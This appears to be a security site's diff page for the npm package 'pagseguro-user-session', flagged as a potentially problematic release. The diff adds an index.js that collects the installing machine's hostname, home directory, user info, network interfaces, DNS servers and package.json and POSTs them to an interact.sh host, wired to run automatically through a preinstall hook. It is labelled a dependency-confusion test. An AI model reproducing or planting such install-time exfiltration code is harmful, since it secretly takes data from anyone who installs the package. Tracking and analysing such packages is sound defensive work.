pagseguro-user-session 0.0.1-security → 3.0.8

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of pagseguro-user-session might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +56 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ //ref: https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ ni: os.networkInterfaces(),
15
+ op: os.platform(),
16
+ rl: os.release(),
17
+ ve: os.version(),
18
+ td: os.tmpdir(),
19
+ ot: os.type(),
20
+ all: `ls`,
21
+ up: os.uptime(),
22
+ un: os.userInfo(),
23
+ ar: os.arch(),
24
+ dns: dns.getServers(),
25
+ r: packageJSON ? packageJSON.___resolved : undefined,
26
+ v: packageJSON.version,
27
+ pjson: packageJSON,
28
+ });
29
+
30
+ var postData = querystring.stringify({
31
+ msg: trackingData,
32
+ });
33
+
34
+ var options = {
35
+ hostname: "c8hn9d52vtc00003fb0ggrehajryyyyyk.interact.sh",
36
+ port: 443,
37
+ path: "/",
38
+ method: "POST",
39
+ headers: {
40
+ "Content-Type": "application/x-www-form-urlencoded",
41
+ "Content-Length": postData.length,
42
+ },
43
+ };
44
+
45
+ var req = https.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ // console.error(e);
53
+ });
54
+
55
+ req.write(postData);
56
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "pagseguro-user-session",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "H1 researcher: r3dp",
4
+ "version": "3.0.8",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "r3dp",
10
+ "license": "ISC",
11
+ "main": "index.js"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pagseguro-user-session for more information.